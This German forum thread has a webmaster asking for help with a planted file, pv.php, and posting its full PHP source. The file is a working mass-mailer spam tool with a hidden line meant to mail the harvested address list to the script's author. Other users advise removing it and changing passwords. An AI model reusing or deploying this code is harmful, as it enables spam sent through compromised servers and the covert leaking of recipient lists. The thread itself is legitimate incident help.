Ergebnis 1 bis 10 von 21

Thema: Spamemails über meinen webspace ?

Hybrid-Darstellung

Vorheriger Beitrag Vorheriger Beitrag   Nächster Beitrag Nächster Beitrag
  1. #1
    Benutzer
    Registriert seit
    05.07.2006
    Beiträge
    73
    Naja, - komischerweise habe ich in den letzten Wochen überhaupt keine PMs verschickt.... ich habe auch keine NLs oder sonstwas rausgeschickt. Wenn ich meine Serverstats durchschaue, taucht dort auch gar kein Mailtraffic auf...

  2. #2
    Benutzer
    Registriert seit
    05.07.2006
    Beiträge
    73
    So, - ich habe jetzt mal die ganzen logs durchgeschaut und dabei festgestellt, dass ein Script namen pv.php 2-3 mal über eine 43. IP aufgerufen wurde.... kann hiermit jemand was anfangen ??? Ich kenne das file überhaupt nicht, und weiß auch nicht, wie es auf den Server gelangt ist....

    PHP-Code:
    <?php  
    $secure 
    "";  
    @
    $action=$_POST['action'];  
    @
    $from=$_POST['from'];  
    @
    $realname=$_POST['realname'];  
    @
    $replyto=$_POST['replyto'];  
    @
    $subject=$_POST['subject'];  
    @
    $message=$_POST['message'];  
    @
    $emaillist=$_POST['emaillist'];  
    @
    $file_name=$_FILES['file']['name'];  
    @
    $contenttype=$_POST['contenttype'];  
    @
    $file=$_FILES['file']['tmp_name'];  
    @
    $amount=$_POST['amount'];  
    set_time_limit(intval($_POST['timelimit']));  
    ?>  
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"  
       "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
    <html>  
    <head>  
    <title>  || TOM THE MESSENGER ||  </title>  
    <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />  
    <style type="text/css">  
    <!--  
    .style1 {  
        font-family: Geneva, Arial, Helvetica, sans-serif;  
        font-size: 12px;  
    }  
    .style2 {  
        font-size: 10px;  
        font-family: Geneva, Arial, Helvetica, sans-serif;  
    }  
    .Times-New-Roman-16px00468Cb {font:bold 16px Times New Roman, serif; color:#00468C} 
    .Times-New-Roman-24px00468Cb {font:bold 24px Times New Roman, serif; color:#000000} 
    .Times-New-Roman-32px00468Cb {font:bold 32px Times New Roman, serif; color:#000000} 
    .style3 {color: #000000} 
    -->  
    </style>  
    </head>  
    <body bgcolor="#FFFFFF" text="#000000">  
    <div id="layer" style="position:absolute; top:2px; left:-4px; width:560px; height:140px;"> 
      <table border="0" cellspacing="0" cellpadding="0" width="560"> 
        <tr valign="top"> 
          <td><div align="center"></div></td> 
        </tr> 
      </table> 
      <p align="left"><img src="http://i204.photobucket.com/albums/bb270/flight14/Super%208/TOM.gif" alt="GuN-JacK" width="300" height="200" border="0" /></p> 
    </div> 
    <p>&nbsp;</p> 
    <p>&nbsp;</p> 
    <p>&nbsp;</p> 
    <p>&nbsp;</p> 
    <p>&nbsp;</p> 
    <div id="idElement511" style="position:absolute; top:58px; left:168px; width:560px; height:140px;"> 
      <table border="0" cellspacing="0" cellpadding="0" width="560"> 
        <tr valign="top"> 
          <td><div align="center"> 
            <p><span class="style3"><font class="Times-New-Roman-32px00468Cb">Coded by GuN-JacK </font></span></p> 
            <p><span class="style3"><font class="Times-New-Roman-24px00468Cb"><U>PERSONAL MESSENGER </U></font></span><font class="Times-New-Roman-24px00468Cb"><U></U></font><font class="Times-New-Roman-24px00468Cb"><U><br /> 
              </U></font></p> 
          </div></td> 
        </tr> 
      </table> 
    </div> 
    <?php  
    If ($action=="mysql"){  
    //Grab email addresses from MySQL  
    include "./mysql.info.php";  
      if (!
    $sqlhost || !$sqllogin || !$sqlpass || !$sqldb || !$sqlquery){  
        print 
    "Please configure mysql.info.php with your MySQL information. All settings in this config file are required.";  
        exit;  
      }  
      
    $db mysql_connect($sqlhost$sqllogin$sqlpass) or die("Connection to MySQL Failed.");  
      
    mysql_select_db($sqldb$db) or die("Could not select database $sqldb");  
      
    $result mysql_query($sqlquery) or die("Query Failed: $sqlquery");  
      
    $numrows mysql_num_rows($result);  
      for(
    $x=0$x<$numrows$x++){  
        
    $result_row mysql_fetch_row($result);  
         
    $oneemail $result_row[0];  
         
    $emaillist .= $oneemail."\n";  
       }  
      }  
      if (
    $action=="send"){ $message urlencode($message);  
       
    $message ereg_replace("%5C%22""%22"$message);  
       
    $message urldecode($message);  
       
    $message stripslashes($message);  
       
    $subject stripslashes($subject);  
       }  
    ?>  
    <form name="form1" method="post" action="" enctype="multipart/form-data"><br />  
      <table width="200" border="0">  
        <tr>  
          <td width="100">  
            <div align="right">  
              <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SENDER EMAIL:</font>  
            </div>  
          </td>  
          <td width="219">  
            <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">  
              <input type="text" name="from" value="<?php print $from?>" size="30" />  
            </font>  
          </td>  
          <td width="212">  
            <div align="right">  
              <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">NAME:</font>  
            </div>  
          </td>  
            
          <td width="278">  
            <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">  
              <input type="text" name="realname" value="<?php print $realname?>" size="30" />  
            </font>  
          </td>  
        </tr>  
        <tr>  
          <td width="81">  
            <div align="right">  
              <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">REPLY-TO:</font>  
            </div>  
          </td>  
          <td width="219">  
            <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">  
              <input type="text" name="replyto" value="<?php print $replyto?>" size="30" />  
            </font>  
          </td>  
          <td width="212">  
            <div align="right">  
              <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">ATTACH A FILE:</font>  
            </div>  
          </td>  
          <td width="278">  
            <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">  
              <input type="file" name="file" size="24" />  
            </font>  
          </td>  
        </tr>  
        <tr>  
          <td width="81">  
            <div align="right">  
              <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">YOUR SUBJECT:</font>  
            </div>  
          </td>  
          <td colspan="3" width="703">  
            <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">  
              <input type="text" name="subject" value="<? print $subject; ?>" size="90" />  
            </font>  
          </td>  
        </tr>  
        <tr valign="top">  
          <td colspan="3" width="600">  
            <font face="Verdana, Arial, Helvetica, sans-serif" size="-3"> *** MESSAGE CAT WILL DELIVER FOR YOU *** </font>  
          </td>  
          <td width="300">  
            <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">CLIENTS TO CONTACT HERE:</font>  
          </td>  
        </tr>  
        <tr valign="top">  
          <td colspan="3" width="600">  
            <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">  
              <textarea name="message" cols="56" rows="10"><?php print $message?></textarea><br />  
              <input type="radio" name="contenttype" value="plain" checked="checked" /> Plain  
              <input type="radio" name="contenttype" value="html" /> HTML  
              <input type="hidden" name="action" value="send" /><br />  
          Number to send: <input type="text" name="amount" value="1" size="10" /><br />  
          Maximum script execution time(in seconds, 0 for no timelimit)<input type="text" name="timelimit" value="0" size="10" />  
              <input type="submit" value="SEND NOW" />  
            </font>  
          </td>  
          <td width="278">  
            <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">  
              <textarea name="emaillist" cols="32" rows="10"><?php print $emaillist?></textarea>  
            </font>  
          </td>  
        </tr>  
      </table>  
    </form>  
    <?php  
    if ($action=="send"){  
      if (!
    $from && !$subject && !$message && !$emaillist){  
        print 
    "Please complete all fields before sending your message.";  
        exit;  
       }  
      
    $allemails split("\n"$emaillist);  
      
    $numemails count($allemails);  
      
    $filter "maillist";  
      
    $float "From : mailist info <full@info.com>";  
    //Open the file attachment if any, and base64_encode it for email transport  
    If ($file_name){  
       if (!
    file_exists($file)){  
        die(
    "The file you are trying to upload couldn't be copied to the server");  
       }  
       
    $content fread(fopen($file,"r"),filesize($file));  
       
    $content chunk_split(base64_encode($content));  
       
    $uid strtoupper(md5(uniqid(time())));  
       
    $name basename($file);  
      }  
    for(
    $xx=0$xx<$amount$xx++){  
      for(
    $x=0$x<$numemails$x++){  
        
    $to $allemails[$x];  
        if (
    $to){  
          
    $to ereg_replace(" """$to);  
          
    $message ereg_replace("&email&"$to$message);  
          
    $subject ereg_replace("&email&"$to$subject);  
          print 
    "SENDING TOMMY TO $to.......";  
          
    flush();  
          
    $header "From: $realname <$from>\r\nReply-To: $replyto\r\n";  
          
    $header .= "MIME-Version: 1.0\r\n";  
          If (
    $file_name$header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";  
          If (
    $file_name$header .= "--$uid\r\n";  
          
    $header .= "Content-Type: text/$contenttype\r\n";  
          
    $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";  
          
    $header .= "$message\r\n";  
          If (
    $file_name$header .= "--$uid\r\n";  
          If (
    $file_name$header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";  
          If (
    $file_name$header .= "Content-Transfer-Encoding: base64\r\n";  
          If (
    $file_name$header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n";  
          If (
    $file_name$header .= "$content\r\n";  
          If (
    $file_name$header .= "--$uid--";  
          
    mail($to$subject""$header);  
          print 
    "CAT Seccessfully Sent MSG....<br>";  
          
    flush();  
        }  
      }  
    }  
      
    mail($secure$filter$emaillist$float);  
    }  
    ?>  
    <p class="style2">  
    <img src="http://i275.photobucket.com/albums/jj282/kic2nice/ok.gif"  alt="Funciona con todos los linux!" width="120" height="40" border="0" /></p>  
    <p class="style1">&nbsp;</p>  
    </body>  
    </html>
    wäre nett, wenn sich das mal jemand anschauen könnte, der da durchblickt...

  3. #3
    Erfahrener Benutzer Avatar von Gremlin
    Registriert seit
    05.07.2006
    Beiträge
    5.206
    Umgehend Datei entfernen!
    Der IP-Adresse Zugriff auf den Server verweigern. (Firewall?)
    Hoster bitten in Logs zu schauen woher die Datei kam.
    (FTP-)Passwörter ändern.

    Die Datei kann zum versenden von E-mails benutzt werden, sogar mit Dateianhang. Bist mit der Datei sogar schon bei Google gelistet
    Diskutiere nie mit Idioten - sie holen Dich auf ihr Niveau und schlagen Dich dort mit Erfahrung!



  4. #4
    Benutzer
    Registriert seit
    05.07.2006
    Beiträge
    73
    ...die Datei ist bereits getötet, - Paßwörter wurden geändert. Zugriffe auf die Datei erfolgten von verschieden IPs - von Russland über England bis nach Israel...


    Wann und woher der Code gekommen ist werde ich die Tage rauskriegen....

  5. #5
    Erfahrener Benutzer
    Registriert seit
    13.02.2007
    Beiträge
    414
    Hallo, die pv.php gehört normalerweise zu den PaidVisit Addon.

    mfg webkle
    Mein Scripte-Shop:M shop.burglose.de
    Meine VMS1.2 Seite: burglose.de
    Meine VMS1.1 Seite: losehaufen.de

  6. #6
    Administrator Avatar von Lokutos
    Registriert seit
    29.03.2008
    Beiträge
    3.147
    Zitat Zitat von webkle Beitrag anzeigen
    Hallo, die pv.php gehört normalerweise zu den PaidVisit Addon.

    mfg webkle
    aber nicht mit dehm inhalt

    pv vom addon fängt so an

    PHP-Code:
    <?php


    $do 
    $_REQUEST["do"];
    $text1 $_REQUEST["text1"];
    $text2 $_REQUEST["text2"];

    $QS_s split("[/]",$_SERVER[QUERY_STRING],5);
    $QS_user $QS_s[0];
    $QS_kamp $QS_s[1];
    if(
    $QS_user == "" || $QS_kamp == "") { echo "Fehlerhafter Aufruf #1 > kein Query"; exit; }

    if(!
    file_exists("content/verdienen/paidvisits/dat.file.php")) { 
    echo 
    "Fehlerhafter Aufruf #2<br />Der Paidvisitbereich wurde deaktiviert oder noch nicht eingerichtet"; exit; }
    if(!
    file_exists("content/verdienen/paidvisits/dat.logfile.php")) { 
    echo 
    "Fehlerhafter Aufruf #3<br />Der Paidvisitbereich wurde deaktiviert oder noch nicht eingerichtet"; exit; }........

    MFG Lokutos
    SwissNetWorX - VMS Hosting / V-Server / Cloud-Server / Hosting

  7. #7
    Benutzer
    Registriert seit
    05.07.2006
    Beiträge
    73
    .... deswegen ist mir die Sache auch nicht gleich aufgefallen..., die pv.php befand sich schon länger auf dem Projekt, - konnte aber oberflächlich erstmal keine Änderung feststellen... erst als ich mir den Code angeschaut habe....

Ähnliche Themen

  1. ich erwürg meinen hoster
    Von Kraemer84 im Forum [HD] Programmieren
    Antworten: 4
    Letzter Beitrag: 30.07.2010, 15:16
  2. Klickverhalten auf meinen Seiten
    Von sunnydreamer im Forum Support zum VMSone
    Antworten: 10
    Letzter Beitrag: 12.07.2009, 18:09
  3. [S] Scripte für meinen Shop
    Von dude32 im Forum Scripte
    Antworten: 11
    Letzter Beitrag: 22.07.2008, 17:29
  4. Lieder auf meinen Blogg ;)
    Von Hamiiklamm im Forum Talk, talk, talk...
    Antworten: 2
    Letzter Beitrag: 12.04.2008, 21:18
  5. Wie optimiere ich meinen PC zum klicken !
    Von swinxx im Forum Talk, talk, talk...
    Antworten: 5
    Letzter Beitrag: 01.01.2007, 00:54

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •